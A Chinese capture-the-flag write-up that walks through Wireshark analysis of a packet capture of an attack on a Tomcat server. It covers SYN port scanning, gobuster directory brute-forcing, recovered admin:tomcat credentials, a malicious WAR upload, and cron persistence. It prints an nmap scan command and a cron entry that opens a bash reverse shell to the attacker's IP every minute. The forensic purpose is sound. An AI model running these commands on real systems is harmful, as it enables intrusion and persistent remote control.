第六章 流量特征分析-常见攻击事件 Tomcat

1. 在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}

分析黑客的扫描行为这里我们要识别恶意扫描特征

恶意扫描通常表现为大量SYN请求(TCP半连接扫描),这是Nmap等工具常用的扫描方式。攻击者会向目标服务器多个端口发送SYN包,探测开放端口

我们使用命令tcp.flags.syn == 1 && tcp.flags.ack == 0过滤流量包

  • tcp.flags.syn == 1:筛选TCP协议中 SYN标志位(Synchronize)被置位(值为1) 的数据包。SYN标志用于建立TCP连接的初始握手(第一次握手)。
  • tcp.flags.ack == 0:筛选 ACK标志位(Acknowledgment)未被置位(值为0) 的数据包。ACK标志用于确认数据接收(第二次握手后出现)。
  • 组合逻辑:该命令捕获 仅包含SYN请求而无ACK响应的TCP包,即TCP连接的第一次握手包。

那么应该有人问了,tcp的三次握手跟黑客的扫描有什么关系吗?

这个时候要了解一下端口扫描的核心机制

  • 全连接扫描(TCP Connect扫描) :黑客通过完整的三次握手探测目标端口状态。
    • 黑客发送SYN包(第一次握手)→ 若目标端口开放,则回复SYN/ACK(第二次握手)→ 黑客发送ACK完成连接(第三次握手)。此时确认端口开放。
    • 若端口关闭,目标会回复RST/ACK包。
    • 缺点:完整握手会被系统日志记录,易被管理员发现。
  • 半连接扫描(SYN扫描) :黑客仅进行前两次握手,规避日志记录。
    • 黑客发送SYN→ 收到SYN/ACK即判定端口开放 → 不发送第三次ACK,而是直接中断连接。
    • 由于连接未完全建立,目标系统不会记录完整会话,隐蔽性更强
  • 暴露服务信息:通过扫描结果,黑客可识别目标开放的端口及运行的服务(如HTTP、FTP),为后续攻击提供路径

并且黑客在TCP SYN扫描中使用不含实际数据内容(Payload)的SYN包,是一种精心设计的协议层利用策略,其核心原因和原理如下:

一、协议规范要求:SYN包本质是握手信号

TCP三次握手的 第一次握手(SYN包) 在协议设计上仅用于建立连接协商,而非数据传输阶段。根据TCP/IP协议规范:

  1. SYN包仅包含控制标志位和序列号:其作用是发起连接请求并同步初始序列号(ISN),无需携带应用层数据(如HTTP、FTP内容)。
  2. 协议栈自动处理:操作系统网络栈在发送SYN包时,默认不附加Payload,因为连接尚未建立,传输数据无效。

示例:Wireshark抓包显示,正常SYN包中”Data”字段长度为0。

二、黑客的隐蔽性需求:规避检测和日志

黑客刻意保持SYN包无内容,是为了最大化扫描的隐蔽性:

  1. 规避入侵检测系统(IDS):

    • 含Payload的SYN包(如填充虚假HTTP数据)会被识别为异常流量(如伪造攻击包)。
    • 空Payload的SYN包更接近合法握手流量,难以被Snort等IDS规则标记。
  2. 避免系统日志记录:

    • 完整连接(如TCP Connect扫描)会在目标系统留下日志记录。

    • 半开扫描(SYN扫描)通过发送RST中断连接,无Payload的SYN包不会触发应用层日志,仅内核层可能记录。

    • # Nmap SYN扫描命令:无Payload且不建立完整连接
      nmap -sS 192.168.1.1
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24

      这里我们通过命令过滤完数据包后基本可以确定14.0.0.1为黑客的ip地址

      ![image-20250803111634683](/img/image-20250803111634683.png)

      原因如下:

      1. 可以看到这个ip地址对多端口进行了扫描443,3306,22等一些常用端口
      * ![image-20250803113813146](/img/image-20250803113813146.png)
      * ![image-20250803113830063](/img/image-20250803113830063.png)
      * ![image-20250803113846491](/img/image-20250803113846491.png)
      2. 他的窗口大小为1024符合攻击流量特征
      * ![image-20250803114324621](/img/image-20250803114324621.png)

      3. 他的ack响应设置为0无响应,并且设置了RST标志位来强制终止连接,几乎无`SYN-ACK → ACK`的完整握手流符合恶意端口扫描特征
      * ![image-20250803115110346](/img/image-20250803115110346.png)



      4. 这个ip的请求频率非常高
      * ![image-20250803115700708](/img/image-20250803115700708.png)

      综上所述可以确定黑客的ip地址

flag{14.0.0.120}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23



**案例分析( 典型攻击)**

| **特征** | **正常流量** | **攻击流量** |
| ------------- | ------------------ | ------------------------------- |
| SYN请求频率 | 低频(1-5次/分钟) | 87次/5秒(密集爆发) |
| 目标端口 | 固定(如443) | 22,80,443,139,445...(15+端口) |
| TCP窗口大小 | >16384 | 1024 |
| SYN-ACK响应率 | >90% | 0%(无ACK响应) |
| 后续行为 | 建立TLS连接 | HTTP路径爆破 |



## 2.找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

将这个ip地址丢到工具查询后发现地址在广州

工具:https://tool.lu/ip/

![image-20250803134831729](/img/image-20250803134831729.png)

flag{guangzhou}

1
2
3
4
5

## 3.哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}

对流量包进行过滤

http && ip.addr == 14.0.0.120

1
2
3
4
5
6
7
8
9

![image-20250803135306854](/img/image-20250803135306854.png)

点开第一个进行http流追踪

![image-20250803135751614](/img/image-20250803135751614.png)

可以看到端口和tomcat版本信息

flag{8080}

1
2
3
4
5
6
7
8
9
10
11
12
13

## 4.经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}

按照长度排序,在下面产生了大量的404请求

![image-20250803140307432](/img/image-20250803140307432.png)

右键http流追踪看看

![image-20250803140356203](/img/image-20250803140356203.png)

可以看到这里黑客使用的工具

flag{gobuster}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

## 5.攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?

继续分析流量包在下面翻到一个302跳转

> 302状态码表示**临时重定向**(Temporary Redirect),即请求的资源已被临时移动到新的URI地址

、![image-20250803142313708](/img/image-20250803142313708.png)

右键http追踪流分析一下

往下划,前面的数据包都是401,从这里开始变为200

基本上可以确定这里是账号密码:YWRtaW46dG9tY2F0

<img src="/img/image-20250803140733868.png" alt="image-20250803140733868" style="zoom:50%;" />

拿去解密一下

<img src="/img/image-20250803140902922.png" alt="image-20250803140902922" style="zoom:50%;" />

flag{admin-tomcat}

1
2
3
4
5
6
7
8
9
10
11

## 6.攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}

继续分析流量包,题目告诉我们登录成功

在长度为712这里右键http流追踪

![image-20250803144344994](/img/image-20250803144344994.png)

点进去就发现这里上传了一个压缩包JXQOZY.war

flag{JXQOZY.war}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

![image-20250803143806471](/img/image-20250803143806471.png)

## 7.攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息

**1.权限维持的本质**
攻击者在成功提权后,需通过**持久化机制**确保权限不因系统重启或会话中断而丢失。常见手段包括:

- 添加恶意定时任务(cron)
- 植入启动脚本(rc.local/systemd)
- 修改系统服务
- 创建隐藏后门账户

**2.流量分析的关键切入点**

- **HTTP请求中的命令执行痕迹**:攻击者通过Web漏洞(如Tomcat上传漏洞)执行系统命令。
- **反向Shell建立后的后续操作**:重点关注建立反弹Shell后的流量(如执行 `crontab` 命令)。
- **协议特征**:过滤 `POST` 请求(上传文件)和包含 `/bin/bash`、`cron` 等关键词的流量。

题目提示我们:某种任务里的信息

我们先优先尝试**搜索定时任务(cron)的创建痕迹**

http contains “crontab” || tcp contains “cron” # 搜索cron相关流量

1
2
3
4
5

![image-20250803150416934](/img/image-20250803150416934.png)

果真查到了,将这三条命令整理一下

echo “* * * * * /bin/bash -c ‘bash -i >& /dev/tcp/14.0.0.120/443 0>&1’” > cron.
cronta b -i cron
cronta b -l cron

1
2
3

该命令会创建每分钟执行一次的反向Shell,确保权限持久化

flag{/bin/bash -c ‘bash -i >& /dev/tcp/14.0.0.120/443 0>&1’}